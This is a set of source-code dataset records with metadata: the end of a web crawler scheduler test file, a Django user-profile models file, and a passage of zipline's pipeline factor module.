'url', 'fetch': { 'data': 'abc', }, 'process': { 'data': 'abc', }, 'schedule': { 'itag': "abc", 'retries': 1 }, }) task = self.scheduler2fetcher.get(timeout=10) self.assertIsNotNone(task) self.test_70_taskdone_ok() def test_a10_newtask_restart_by_age(self): self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'fetch': { 'data': 'abc', }, 'process': { 'data': 'abc', }, 'schedule': { 'age': 0, 'retries': 1 }, }) task = self.scheduler2fetcher.get(timeout=10) self.assertIsNotNone(task) def test_a20_failed_retry(self): self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'track': { 'fetch': { 'ok': True }, 'process': { 'ok': False }, } }) task = self.scheduler2fetcher.get(timeout=5) self.assertIsNotNone(task) self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'track': { 'fetch': { 'ok': False }, 'process': { 'ok': False }, } }) from six.moves import queue as Queue with self.assertRaises(Queue.Empty): self.scheduler2fetcher.get(timeout=5) def test_a30_task_verify(self): self.assertFalse(self.rpc.newtask({ 'project': 'test_project', 'url': 'url', })) self.assertFalse(self.rpc.newtask({ 'taskid': 'taskid#', 'url': 'url', })) self.assertFalse(self.rpc.newtask({ 'taskid': 'taskid#', 'project': 'test_project', })) self.assertFalse(self.rpc.newtask({ 'taskid': 'taskid#', 'project': 'not_exist_project', 'url': 'url', })) self.assertTrue(self.rpc.newtask({ 'taskid': 'taskid#', 'project': 'test_project', 'url': 'url', })) def test_a40_success_recrawl(self): self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'fetch': { 'data': 'abc', }, 'process': { 'data': 'abc', }, 'schedule': { 'age': 0, 'retries': 1, 'auto_recrawl': True, }, }) task = self.scheduler2fetcher.get(timeout=10) self.assertIsNotNone(task) self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'schedule': { 'age': 0, 'retries': 1, 'auto_recrawl': True, }, 'track': { 'fetch': { 'ok': True }, 'process': { 'ok': True }, } }) task = self.scheduler2fetcher.get(timeout=10) self.assertIsNotNone(task) def test_a50_failed_recrawl(self): for i in range(3): self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'schedule': { 'age': 0, 'retries': 1, 'auto_recrawl': True, }, 'track': { 'fetch': { 'ok': True }, 'process': { 'ok': False }, } }) task = self.scheduler2fetcher.get(timeout=10) self.assertIsNotNone(task) def test_a60_disable_recrawl(self): self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'schedule': { 'age': 0, 'retries': 1, }, 'track': { 'fetch': { 'ok': True }, 'process': { 'ok': True }, } }) from six.moves import queue as Queue with self.assertRaises(Queue.Empty): self.scheduler2fetcher.get(timeout=5) def test_x10_inqueue_limit(self): self.projectdb.insert('test_inqueue_project', { 'name': 'test_inqueue_project', 'group': 'group', 'status': 'DEBUG', 'script': 'import time\nprint(time.time())', 'comments': 'test project', 'rate': 0, 'burst': 0, }) time.sleep(0.1) pre_size = self.rpc.size() for i in range(20): self.newtask_queue.put({ 'taskid': 'taskid%d' % i, 'project': 'test_inqueue_project', 'url': 'url', 'schedule': { 'age': 3000, 'force_update': True, }, }) time.sleep(1) self.assertEqual(self.rpc.size() - pre_size, 10) def test_x20_delete_project(self): self.assertIsNotNone(self.projectdb.get('test_inqueue_project')) self.projectdb.update('test_inqueue_project', status="STOP", group="lock,delete") time.sleep(1) self.assertIsNone(self.projectdb.get('test_inqueue_project')) self.taskdb._list_project() self.assertIsNone(self.taskdb.get_task('test_inqueue_project', 'taskid1')) def test_z10_startup(self): self.assertTrue(self.process.is_alive()) def test_z20_quit(self): self.rpc._quit() time.sleep(0.2) self.assertFalse(self.process.is_alive()) self.assertEqual( self.taskdb.get_task('test_project', 'taskid')['status'], self.taskdb.SUCCESS ) if __name__ == '__main__': unittest.main()

true

f7054098e4be98d0e7ded502ff3e25b7159a4400

2,065

py

Python

profiles_api/models.py

tanveerahmaddar/profiles-rest-api

1fd5060677bbefd6bb2d02179587a1d8005f3bc1

[ "MIT" ]

null

profiles_api/models.py

tanveerahmaddar/profiles-rest-api

1fd5060677bbefd6bb2d02179587a1d8005f3bc1

[ "MIT" ]

5

2021-03-19T12:00:14.000Z

2022-02-10T09:29:53.000Z

profiles_api/models.py

tanveerahmaddar/profiles-rest-api

1fd5060677bbefd6bb2d02179587a1d8005f3bc1

[ "MIT" ]

null

from django.db import models from django.contrib.auth.models import AbstractBaseUser from django.contrib.auth.models import PermissionsMixin from django.contrib.auth.models import BaseUserManager from django.conf import settings class UserProfileManager(BaseUserManager): """Manager for user profiles""" def create_user(self, email, name, password=None): """create a new user profile""" if not email: raise ValueError("User must have and email address") email = self.normalize_email(email) user = self.model(email=email,name=name) user.set_password(password) user.save(using=self._db) return user def create_superuser(self, email, name, password): """create and save new superuser with given details""" user = self.create_user(email, name, password) user.is_superuser = True user.is_staff = True user.save(using=self._db) return user class UserProfile(AbstractBaseUser,PermissionsMixin): """Database model for users in the system """ email = models.EmailField(max_length=255, unique=True) name = models.CharField(max_length=255) is_active = models.BooleanField(default=True) is_staff = models.BooleanField(default=False) objects = UserProfileManager() USERNAME_FIELD = 'email' REQUIRED_FIELDS = ['name'] def get_full_name(self): """Retrieve full name of user""" return self.name def get_short_name(self): """Retrieve short name of user""" return self.name def __str__(self): """Return string representation of our user""" return self.email class ProfileFeedItem(models.Model): """Profile status update""" user_profile = models.ForeignKey( settings.AUTH_USER_MODEL, on_delete=models.CASCADE ) status_text = models.CharField(max_length=255) created_on = models.DateTimeField(auto_now_add=True) def __str__(self): """Retusnt the model as a string""" return self.status_text

28.287671

64

0.680872

from django.db import models from django.contrib.auth.models import AbstractBaseUser from django.contrib.auth.models import PermissionsMixin from django.contrib.auth.models import BaseUserManager from django.conf import settings class UserProfileManager(BaseUserManager): def create_user(self, email, name, password=None): if not email: raise ValueError("User must have and email address") email = self.normalize_email(email) user = self.model(email=email,name=name) user.set_password(password) user.save(using=self._db) return user def create_superuser(self, email, name, password): user = self.create_user(email, name, password) user.is_superuser = True user.is_staff = True user.save(using=self._db) return user class UserProfile(AbstractBaseUser,PermissionsMixin): email = models.EmailField(max_length=255, unique=True) name = models.CharField(max_length=255) is_active = models.BooleanField(default=True) is_staff = models.BooleanField(default=False) objects = UserProfileManager() USERNAME_FIELD = 'email' REQUIRED_FIELDS = ['name'] def get_full_name(self): return self.name def get_short_name(self): return self.name def __str__(self): return self.email class ProfileFeedItem(models.Model): user_profile = models.ForeignKey( settings.AUTH_USER_MODEL, on_delete=models.CASCADE ) status_text = models.CharField(max_length=255) created_on = models.DateTimeField(auto_now_add=True) def __str__(self): return self.status_text

true

f70541311d2804278f3802c1efeec5ac64b356ca

41,783

py

Python

zipline/pipeline/factors/factor.py

degiere/zipline

bc0b117dc94b8e93081818964e3b1bdbf9b33abb

[ "Apache-2.0" ]

null

zipline/pipeline/factors/factor.py

degiere/zipline

bc0b117dc94b8e93081818964e3b1bdbf9b33abb

[ "Apache-2.0" ]

null

zipline/pipeline/factors/factor.py

degiere/zipline

bc0b117dc94b8e93081818964e3b1bdbf9b33abb

[ "Apache-2.0" ]

1

2019-09-20T01:08:33.000Z

""" factor.py """ from functools import wraps from operator import attrgetter from numbers import Number from numpy import inf, where from toolz import curry from zipline.errors import UnknownRankMethod from zipline.lib.normalize import naive_grouped_rowwise_apply from zipline.lib.rank import masked_rankdata_2d from zipline.pipeline.classifiers import Classifier, Everything, Quantiles from zipline.pipeline.mixins import ( CustomTermMixin, LatestMixin, PositiveWindowLengthMixin, RestrictedDTypeMixin, SingleInputMixin, ) from zipline.pipeline.term import ( ComputableTerm, NotSpecified, NotSpecifiedType, Term, ) from zipline.pipeline.expression import ( BadBinaryOperator, COMPARISONS, is_comparison, MATH_BINOPS, method_name_for_op, NumericalExpression, NUMEXPR_MATH_FUNCS, UNARY_OPS, unary_op_name, ) from zipline.pipeline.filters import ( Filter, NumExprFilter, PercentileFilter, NullFilter, ) from zipline.utils.input_validation import expect_types from zipline.utils.math_utils import nanmean, nanstd from zipline.utils.numpy_utils import ( bool_dtype, coerce_to_dtype, datetime64ns_dtype, float64_dtype, int64_dtype, ) from zipline.utils.preprocess import preprocess _RANK_METHODS = frozenset(['average', 'min', 'max', 'dense', 'ordinal']) def coerce_numbers_to_my_dtype(f): """ A decorator for methods whose signature is f(self, other) that coerces ``other`` to ``self.dtype``. This is used to make comparison operations between numbers and `Factor` instances work independently of whether the user supplies a float or integer literal. For example, if I write:: my_filter = my_factor > 3 my_factor probably has dtype float64, but 3 is an int, so we want to coerce to float64 before doing the comparison. """ @wraps(f) def method(self, other): if isinstance(other, Number): other = coerce_to_dtype(self.dtype, other) return f(self, other) return method @curry def set_attribute(name, value): """ Decorator factory for setting attributes on a function. Doesn't change the behavior of the wrapped function. Usage ----- >>> @set_attribute('__name__', 'foo') ... def bar(): ... return 3 ... >>> bar() 3 >>> bar.__name__ 'foo' """ def decorator(f): setattr(f, name, value) return f return decorator # Decorators for setting the __name__ and __doc__ properties of a decorated # function. # Example: with_name = set_attribute('__name__') with_doc = set_attribute('__doc__') def binop_return_type(op): if is_comparison(op): return NumExprFilter else: return NumExprFactor def binop_return_dtype(op, left, right): """ Compute the expected return dtype for the given binary operator. Parameters ---------- op : str Operator symbol, (e.g. '+', '-', ...). left : numpy.dtype Dtype of left hand side. right : numpy.dtype Dtype of right hand side. Returns ------- outdtype : numpy.dtype The dtype of the result of `left <op> right`. """ if is_comparison(op): if left != right: raise TypeError( "Don't know how to compute {left} {op} {right}.\n" "Comparisons are only supported between Factors of equal " "dtypes.".format(left=left, op=op, right=right) ) return bool_dtype elif left != float64_dtype or right != float64_dtype: raise TypeError( "Don't know how to compute {left} {op} {right}.\n" "Arithmetic operators are only supported between Factors of " "dtype 'float64'.".format( left=left.name, op=op, right=right.name, ) ) return float64_dtype def binary_operator(op): """ Factory function for making binary operator methods on a Factor subclass. Returns a function, "binary_operator" suitable for implementing functions like __add__. """ # When combining a Factor with a NumericalExpression, we use this # attrgetter instance to defer to the commuted implementation of the # NumericalExpression operator. commuted_method_getter = attrgetter(method_name_for_op(op, commute=True)) @with_doc("Binary Operator: '%s'" % op) @with_name(method_name_for_op(op)) @coerce_numbers_to_my_dtype def binary_operator(self, other): # This can't be hoisted up a scope because the types returned by # binop_return_type aren't defined when the top-level function is # invoked in the class body of Factor. return_type = binop_return_type(op) if isinstance(self, NumExprFactor): self_expr, other_expr, new_inputs = self.build_binary_op( op, other, ) return return_type( "({left}) {op} ({right})".format( left=self_expr, op=op, right=other_expr, ), new_inputs, dtype=binop_return_dtype(op, self.dtype, other.dtype), ) elif isinstance(other, NumExprFactor): # NumericalExpression overrides ops to correctly handle merging of # inputs. Look up and call the appropriate reflected operator with # ourself as the input. return commuted_method_getter(other)(self) elif isinstance(other, Term): if self is other: return return_type( "x_0 {op} x_0".format(op=op), (self,), dtype=binop_return_dtype(op, self.dtype, other.dtype), ) return return_type( "x_0 {op} x_1".format(op=op), (self, other), dtype=binop_return_dtype(op, self.dtype, other.dtype), ) elif isinstance(other, Number): return return_type( "x_0 {op} ({constant})".format(op=op, constant=other), binds=(self,), # .dtype access is safe here because coerce_numbers_to_my_dtype # will convert any input numbers to numpy equivalents. dtype=binop_return_dtype(op, self.dtype, other.dtype) ) raise BadBinaryOperator(op, self, other) return binary_operator def reflected_binary_operator(op): """ Factory function for making binary operator methods on a Factor. Returns a function, "reflected_binary_operator" suitable for implementing functions like __radd__. """ assert not is_comparison(op) @with_name(method_name_for_op(op, commute=True)) @coerce_numbers_to_my_dtype def reflected_binary_operator(self, other): if isinstance(self, NumericalExpression): self_expr, other_expr, new_inputs = self.build_binary_op( op, other ) return NumExprFactor( "({left}) {op} ({right})".format( left=other_expr, right=self_expr, op=op, ), new_inputs, dtype=binop_return_dtype(op, other.dtype, self.dtype) ) # Only have to handle the numeric case because in all other valid cases # the corresponding left-binding method will be called. elif isinstance(other, Number): return NumExprFactor( "{constant} {op} x_0".format(op=op, constant=other), binds=(self,), dtype=binop_return_dtype(op, other.dtype, self.dtype), ) raise BadBinaryOperator(op, other, self) return reflected_binary_operator def unary_operator(op): """ Factory function for making unary operator methods for Factors. """ # Only negate is currently supported. valid_ops = {'-'} if op not in valid_ops: raise ValueError("Invalid unary operator %s." % op) @with_doc("Unary Operator: '%s'" % op) @with_name(unary_op_name(op)) def unary_operator(self): if self.dtype != float64_dtype: raise TypeError( "Can't apply unary operator {op!r} to instance of " "{typename!r} with dtype {dtypename!r}.\n" "{op!r} is only supported for Factors of dtype " "'float64'.".format( op=op, typename=type(self).__name__, dtypename=self.dtype.name, ) ) # This can't be hoisted up a scope because the types returned by # unary_op_return_type aren't defined when the top-level function is # invoked. if isinstance(self, NumericalExpression): return NumExprFactor( "{op}({expr})".format(op=op, expr=self._expr), self.inputs, dtype=float64_dtype, ) else: return NumExprFactor( "{op}x_0".format(op=op), (self,), dtype=float64_dtype, ) return unary_operator def function_application(func): """ Factory function for producing function application methods for Factor subclasses. """ if func not in NUMEXPR_MATH_FUNCS: raise ValueError("Unsupported mathematical function '%s'" % func) @with_name(func) def mathfunc(self): if isinstance(self, NumericalExpression): return NumExprFactor( "{func}({expr})".format(func=func, expr=self._expr), self.inputs, dtype=float64_dtype, ) else: return NumExprFactor( "{func}(x_0)".format(func=func), (self,), dtype=float64_dtype, ) return mathfunc def restrict_to_dtype(dtype, message_template): """ A factory for decorators that restricting Factor methods to only be callable on Factors with a specific dtype. This is conceptually similar to zipline.utils.input_validation.expect_dtypes, but provides more flexibility for providing error messages that are specifically targeting Factor methods. Parameters ---------- dtype : numpy.dtype The dtype on which the decorated method may be called. message_template : str A template for the error message to be raised. `message_template.format` will be called with keyword arguments `method_name`, `expected_dtype`, and `received_dtype`. Usage ----- @restrict_to_dtype( dtype=float64_dtype, message_template=( "{method_name}() was called on a factor of dtype {received_dtype}." "{method_name}() requires factors of dtype{expected_dtype}." ), ) def some_factor_method(self, ...): self.stuff_that_requires_being_float64(...) """ def processor(factor_method, _, factor_instance): factor_dtype = factor_instance.dtype if factor_dtype != dtype: raise TypeError( message_template.format( method_name=factor_method.__name__, expected_dtype=dtype.name, received_dtype=factor_dtype, ) ) return factor_instance return preprocess(self=processor) # Decorators for Factor methods. if_not_float64_tell_caller_to_use_isnull = restrict_to_dtype( dtype=float64_dtype, message_template=( "{method_name}() was called on a factor of dtype {received_dtype}.\n" "{method_name}() is only defined for dtype {expected_dtype}." "To filter missing data, use isnull() or notnull()." ) ) float64_only = restrict_to_dtype( dtype=float64_dtype, message_template=( "{method_name}() is only defined on Factors of dtype {expected_dtype}," " but it was called on a Factor of dtype {received_dtype}." ) ) FACTOR_DTYPES = frozenset([datetime64ns_dtype, float64_dtype, int64_dtype]) class Factor(RestrictedDTypeMixin, ComputableTerm): """ Pipeline API expression producing a numerical or date-valued output. Factors are the most commonly-used Pipeline term, representing the result of any computation producing a numerical result. Factors can be combined, both with other Factors and with scalar values, via any of the builtin mathematical operators (``+``, ``-``, ``*``, etc). This makes it easy to write complex expressions that combine multiple Factors. For example, constructing a Factor that computes the average of two other Factors is simply:: >>> f1 = SomeFactor(...) >>> f2 = SomeOtherFactor(...) >>> average = (f1 + f2) / 2.0 Factors can also be converted into :class:`zipline.pipeline.Filter` objects via comparison operators: (``<``, ``<=``, ``!=``, ``eq``, ``>``, ``>=``). There are many natural operators defined on Factors besides the basic numerical operators. These include methods identifying missing or extreme-valued outputs (isnull, notnull, isnan, notnan), methods for normalizing outputs (rank, demean, zscore), and methods for constructing Filters based on rank-order properties of results (top, bottom, percentile_between). """ ALLOWED_DTYPES = FACTOR_DTYPES # Used by RestrictedDTypeMixin # Dynamically add functions for creating NumExprFactor/NumExprFilter # instances. clsdict = locals() clsdict.update( { method_name_for_op(op): binary_operator(op) # Don't override __eq__ because it breaks comparisons on tuples of # Factors. for op in MATH_BINOPS.union(COMPARISONS - {'=='}) } ) clsdict.update( { method_name_for_op(op, commute=True): reflected_binary_operator(op) for op in MATH_BINOPS } ) clsdict.update( { unary_op_name(op): unary_operator(op) for op in UNARY_OPS } ) clsdict.update( { funcname: function_application(funcname) for funcname in NUMEXPR_MATH_FUNCS } ) __truediv__ = clsdict['__div__'] __rtruediv__ = clsdict['__rdiv__'] eq = binary_operator('==') @expect_types( mask=(Filter, NotSpecifiedType), groupby=(Classifier, NotSpecifiedType), ) @float64_only def demean(self, mask=NotSpecified, groupby=NotSpecified): """ Construct a Factor that computes ``self`` and subtracts the mean from row of the result. If ``mask`` is supplied, ignore values where ``mask`` returns False when computing row means, and output NaN anywhere the mask is False. If ``groupby`` is supplied, compute by partitioning each row based on the values produced by ``groupby``, de-meaning the partitioned arrays, and stitching the sub-results back together. Parameters ---------- mask : zipline.pipeline.Filter, optional A Filter defining values to ignore when computing means. groupby : zipline.pipeline.Classifier, optional A classifier defining partitions over which to compute means. Example ------- Let ``f`` be a Factor which would produce the following output:: AAPL MSFT MCD BK 2017-03-13 1.0 2.0 3.0 4.0 2017-03-14 1.5 2.5 3.5 1.0 2017-03-15 2.0 3.0 4.0 1.5 2017-03-16 2.5 3.5 1.0 2.0 Let ``c`` be a Classifier producing the following output:: AAPL MSFT MCD BK 2017-03-13 1 1 2 2 2017-03-14 1 1 2 2 2017-03-15 1 1 2 2 2017-03-16 1 1 2 2 Let ``m`` be a Filter producing the following output:: AAPL MSFT MCD BK 2017-03-13 False True True True 2017-03-14 True False True True 2017-03-15 True True False True 2017-03-16 True True True False Then ``f.demean()`` will subtract the mean from each row produced by ``f``. :: AAPL MSFT MCD BK 2017-03-13 -1.500 -0.500 0.500 1.500 2017-03-14 -0.625 0.375 1.375 -1.125 2017-03-15 -0.625 0.375 1.375 -1.125 2017-03-16 0.250 1.250 -1.250 -0.250 ``f.demean(mask=m)`` will subtract the mean from each row, but means will be calculated ignoring values on the diagonal, and NaNs will written to the diagonal in the output. Diagonal values are ignored because they are the locations where the mask ``m`` produced False. :: AAPL MSFT MCD BK 2017-03-13 NaN -1.000 0.000 1.000 2017-03-14 -0.500 NaN 1.500 -1.000 2017-03-15 -0.166 0.833 NaN -0.666 2017-03-16 0.166 1.166 -1.333 NaN ``f.demean(groupby=c)`` will subtract the group-mean of AAPL/MSFT and MCD/BK from their respective entries. The AAPL/MSFT are grouped together because both assets always produce 1 in the output of the classifier ``c``. Similarly, MCD/BK are grouped together because they always produce 2. :: AAPL MSFT MCD BK 2017-03-13 -0.500 0.500 -0.500 0.500 2017-03-14 -0.500 0.500 1.250 -1.250 2017-03-15 -0.500 0.500 1.250 -1.250 2017-03-16 -0.500 0.500 -0.500 0.500 ``f.demean(mask=m, groupby=c)`` will also subtract the group-mean of AAPL/MSFT and MCD/BK, but means will be calculated ignoring values on the diagonal , and NaNs will be written to the diagonal in the output. :: AAPL MSFT MCD BK 2017-03-13 NaN 0.000 -0.500 0.500 2017-03-14 0.000 NaN 1.250 -1.250 2017-03-15 -0.500 0.500 NaN 0.000 2017-03-16 -0.500 0.500 0.000 NaN Notes ----- Mean is sensitive to the magnitudes of outliers. When working with factor that can potentially produce large outliers, it is often useful to use the ``mask`` parameter to discard values at the extremes of the distribution:: >>> base = MyFactor(...) >>> normalized = base.demean(mask=base.percentile_between(1, 99)) ``demean()`` is only supported on Factors of dtype float64. See Also -------- :meth:`pandas.DataFrame.groupby` """ # This is a named function so that it has a __name__ for use in the # graph repr of GroupedRowTransform. def demean(row): return row - nanmean(row) return GroupedRowTransform( transform=demean, factor=self, mask=mask, groupby=groupby, ) @expect_types( mask=(Filter, NotSpecifiedType), groupby=(Classifier, NotSpecifiedType), ) @float64_only def zscore(self, mask=NotSpecified, groupby=NotSpecified): """ Construct a Factor that Z-Scores each day's results. The Z-Score of a row is defined as:: (row - row.mean()) / row.stddev() If ``mask`` is supplied, ignore values where ``mask`` returns False when computing row means and standard deviations, and output NaN anywhere the mask is False. If ``groupby`` is supplied, compute by partitioning each row based on the values produced by ``groupby``, z-scoring the partitioned arrays, and stitching the sub-results back together. Parameters ---------- mask : zipline.pipeline.Filter, optional A Filter defining values to ignore when Z-Scoring. groupby : zipline.pipeline.Classifier, optional A classifier defining partitions over which to compute Z-Scores. Returns ------- zscored : zipline.pipeline.Factor A Factor producing that z-scores the output of self. Notes ----- Mean and standard deviation are sensitive to the magnitudes of outliers. When working with factor that can potentially produce large outliers, it is often useful to use the ``mask`` parameter to discard values at the extremes of the distribution:: >>> base = MyFactor(...) >>> normalized = base.zscore(mask=base.percentile_between(1, 99)) ``zscore()`` is only supported on Factors of dtype float64. Example ------- See :meth:`~zipline.pipeline.factors.Factor.demean` for an in-depth example of the semantics for ``mask`` and ``groupby``. See Also -------- :meth:`pandas.DataFrame.groupby` """ # This is a named function so that it has a __name__ for use in the # graph repr of GroupedRowTransform. def zscore(row): return (row - nanmean(row)) / nanstd(row) return GroupedRowTransform( transform=zscore, factor=self, mask=mask, groupby=groupby, ) def rank(self, method='ordinal', ascending=True, mask=NotSpecified): """ Construct a new Factor representing the sorted rank of each column within each row. Parameters ---------- method : str, {'ordinal', 'min', 'max', 'dense', 'average'} The method used to assign ranks to tied elements. See `scipy.stats.rankdata` for a full description of the semantics for each ranking method. Default is 'ordinal'. ascending : bool, optional Whether to return sorted rank in ascending or descending order. Default is True. mask : zipline.pipeline.Filter, optional A Filter representing assets to consider when computing ranks. If mask is supplied, ranks are computed ignoring any asset/date pairs for which `mask` produces a value of False. Returns ------- ranks : zipline.pipeline.factors.Rank A new factor that will compute the ranking of the data produced by `self`. Notes ----- The default value for `method` is different from the default for `scipy.stats.rankdata`. See that function's documentation for a full description of the valid inputs to `method`. Missing or non-existent data on a given day will cause an asset to be given a rank of NaN for that day. See Also -------- :func:`scipy.stats.rankdata` :class:`zipline.pipeline.factors.factor.Rank` """ return Rank(self, method=method, ascending=ascending, mask=mask) @expect_types(bins=int, mask=(Filter, NotSpecifiedType)) def quantiles(self, bins, mask=NotSpecified): """ Construct a Classifier computing quantiles of the output of ``self``. Every non-NaN data point the output is labelled with an integer value from 0 to (bins - 1). NaNs are labelled with -1. If ``mask`` is supplied, ignore data points in locations for which ``mask`` produces False, and emit a label of -1 at those locations. Parameters ---------- bins : int Number of bins labels to compute. mask : zipline.pipeline.Filter, optional Mask of values to ignore when computing quantiles. Returns ------- quantiles : zipline.pipeline.classifiers.Quantiles A Classifier producing integer labels ranging from 0 to (bins - 1). """ if mask is NotSpecified: mask = self.mask return Quantiles(inputs=(self,), bins=bins, mask=mask) @expect_types(mask=(Filter, NotSpecifiedType)) def quartiles(self, mask=NotSpecified): """ Construct a Classifier computing quartiles over the output of ``self``. Every non-NaN data point the output is labelled with a value of either 0, 1, 2, or 3, corresponding to the first, second, third, or fourth quartile over each row. NaN data points are labelled with -1. If ``mask`` is supplied, ignore data points in locations for which ``mask`` produces False, and emit a label of -1 at those locations. Parameters ---------- mask : zipline.pipeline.Filter, optional Mask of values to ignore when computing quartiles. Returns ------- quartiles : zipline.pipeline.classifiers.Quantiles A Classifier producing integer labels ranging from 0 to 3. """ return self.quantiles(bins=4, mask=mask) @expect_types(mask=(Filter, NotSpecifiedType)) def quintiles(self, mask=NotSpecified): """ Construct a Classifier computing quintile labels on ``self``. Every non-NaN data point the output is labelled with a value of either 0, 1, 2, or 3, 4, corresonding to quintiles over each row. NaN data points are labelled with -1. If ``mask`` is supplied, ignore data points in locations for which ``mask`` produces False, and emit a label of -1 at those locations. Parameters ---------- mask : zipline.pipeline.Filter, optional Mask of values to ignore when computing quintiles. Returns ------- quintiles : zipline.pipeline.classifiers.Quantiles A Classifier producing integer labels ranging from 0 to 4. """ return self.quantiles(bins=5, mask=mask) @expect_types(mask=(Filter, NotSpecifiedType)) def deciles(self, mask=NotSpecified): """ Construct a Classifier computing decile labels on ``self``. Every non-NaN data point the output is labelled with a value from 0 to 9 corresonding to deciles over each row. NaN data points are labelled with -1. If ``mask`` is supplied, ignore data points in locations for which ``mask`` produces False, and emit a label of -1 at those locations. Parameters ---------- mask : zipline.pipeline.Filter, optional Mask of values to ignore when computing deciles. Returns ------- deciles : zipline.pipeline.classifiers.Quantiles A Classifier producing integer labels ranging from 0 to 9. """ return self.quantiles(bins=10, mask=mask) def top(self, N, mask=NotSpecified): """ Construct a Filter matching the top N asset values of self each day. Parameters ---------- N : int Number of assets passing the returned filter each day. mask : zipline.pipeline.Filter, optional A Filter representing assets to consider when computing ranks. If mask is supplied, top values are computed ignoring any asset/date pairs for which `mask` produces a value of False. Returns ------- filter : zipline.pipeline.filters.Filter """ return self.rank(ascending=False, mask=mask) <= N def bottom(self, N, mask=NotSpecified): """ Construct a Filter matching the bottom N asset values of self each day. Parameters ---------- N : int Number of assets passing the returned filter each day. mask : zipline.pipeline.Filter, optional A Filter representing assets to consider when computing ranks. If mask is supplied, bottom values are computed ignoring any asset/date pairs for which `mask` produces a value of False. Returns ------- filter : zipline.pipeline.Filter """ return self.rank(ascending=True, mask=mask) <= N def percentile_between(self, min_percentile, max_percentile, mask=NotSpecified): """ Construct a new Filter representing entries from the output of this Factor that fall within the percentile range defined by min_percentile and max_percentile. Parameters ---------- min_percentile : float [0.0, 100.0] Return True for assets falling above this percentile in the data. max_percentile : float [0.0, 100.0] Return True for assets falling below this percentile in the data. mask : zipline.pipeline.Filter, optional A Filter representing assets to consider when percentile calculating thresholds. If mask is supplied, percentile cutoffs are computed each day using only assets for which ``mask`` returns True. Assets for which ``mask`` produces False will produce False in the output of this Factor as well. Returns ------- out : zipline.pipeline.filters.PercentileFilter A new filter that will compute the specified percentile-range mask. See Also -------- zipline.pipeline.filters.filter.PercentileFilter """ return PercentileFilter( self, min_percentile=min_percentile, max_percentile=max_percentile, mask=mask, ) def isnull(self): """ A Filter producing True for values where this Factor has missing data. Equivalent to self.isnan() when ``self.dtype`` is float64. Otherwise equivalent to ``self.eq(self.missing_value)``. Returns ------- filter : zipline.pipeline.filters.Filter """ if self.dtype == float64_dtype: # Using isnan is more efficient when possible because we can fold # the isnan computation with other NumExpr expressions. return self.isnan() else: return NullFilter(self) def notnull(self): """ A Filter producing True for values where this Factor has complete data. Equivalent to ``~self.isnan()` when ``self.dtype`` is float64. Otherwise equivalent to ``(self != self.missing_value)``. """ return ~self.isnull() @if_not_float64_tell_caller_to_use_isnull def isnan(self): """ A Filter producing True for all values where this Factor is NaN. Returns ------- nanfilter : zipline.pipeline.filters.Filter """ return self != self @if_not_float64_tell_caller_to_use_isnull def notnan(self): """ A Filter producing True for values where this Factor is not NaN. Returns ------- nanfilter : zipline.pipeline.filters.Filter """ return ~self.isnan() @if_not_float64_tell_caller_to_use_isnull def isfinite(self): """ A Filter producing True for values where this Factor is anything but NaN, inf, or -inf. """ return (-inf < self) & (self < inf) class NumExprFactor(NumericalExpression, Factor): """ Factor computed from a numexpr expression. Parameters ---------- expr : string A string suitable for passing to numexpr. All variables in 'expr' should be of the form "x_i", where i is the index of the corresponding factor input in 'binds'. binds : tuple A tuple of factors to use as inputs. Notes ----- NumExprFactors are constructed by numerical operators like `+` and `-`. Users should rarely need to construct a NumExprFactor directly. """ pass class GroupedRowTransform(Factor): """ A Factor that transforms an input factor by applying a row-wise shape-preserving transformation on classifier-defined groups of that Factor. This is most often useful for normalization operators like ``zscore`` or ``demean``. Parameters ---------- transform : function[ndarray[ndim=1] -> ndarray[ndim=1]] Function to apply over each row group. factor : zipline.pipeline.Factor The factor providing baseline data to transform. mask : zipline.pipeline.Filter Mask of entries to ignore when calculating transforms. groupby : zipline.pipeline.Classifier Classifier partitioning ``factor`` into groups to use when calculating means. Notes ----- Users should rarely construct instances of this factor directly. Instead, they should construct instances via factor normalization methods like ``zscore`` and ``demean``. See Also -------- zipline.pipeline.factors.Factor.zscore zipline.pipeline.factors.Factor.demean """ window_length = 0 def __new__(cls, transform, factor, mask, groupby): if mask is NotSpecified: mask = factor.mask else: mask = mask & factor.mask if groupby is NotSpecified: groupby = Everything(mask=mask) return super(GroupedRowTransform, cls).__new__( GroupedRowTransform, transform=transform, inputs=(factor, groupby), missing_value=factor.missing_value, mask=mask, dtype=factor.dtype, ) def _init(self, transform, *args, **kwargs): self._transform = transform return super(GroupedRowTransform, self)._init(*args, **kwargs) @classmethod def static_identity(cls, transform, *args, **kwargs): return ( super(GroupedRowTransform, cls).static_identity(*args, **kwargs), transform, ) def _compute(self, arrays, dates, assets, mask): data = arrays[0] null_group_value = self.inputs[1].missing_value group_labels = where( mask, arrays[1], null_group_value, ) return where( group_labels != null_group_value, naive_grouped_rowwise_apply( data=data, group_labels=group_labels, func=self._transform, ), self.missing_value, ) @property def transform_name(self): return self._transform.__name__ def short_repr(self): return type(self).__name__ + '(%r)' % self.transform_name class Rank(SingleInputMixin, Factor): """ A Factor representing the row-wise rank data of another Factor. Parameters ---------- factor : zipline.pipeline.factors.Factor The factor on which to compute ranks. method : str, {'average', 'min', 'max', 'dense', 'ordinal'} The method used to assign ranks to tied elements. See `scipy.stats.rankdata` for a full description of the semantics for each ranking method. See Also -------- :func:`scipy.stats.rankdata` :class:`Factor.rank` Notes ----- Most users should call Factor.rank rather than directly construct an instance of this class. """ window_length = 0 dtype = float64_dtype def __new__(cls, factor, method, ascending, mask): return super(Rank, cls).__new__( cls, inputs=(factor,), method=method, ascending=ascending, mask=mask, ) def _init(self, method, ascending, *args, **kwargs): self._method = method self._ascending = ascending return super(Rank, self)._init(*args, **kwargs) @classmethod def static_identity(cls, method, ascending, *args, **kwargs): return ( super(Rank, cls).static_identity(*args, **kwargs), method, ascending, ) def _validate(self): """ Verify that the stored rank method is valid. """ if self._method not in _RANK_METHODS: raise UnknownRankMethod( method=self._method, choices=set(_RANK_METHODS), ) return super(Rank, 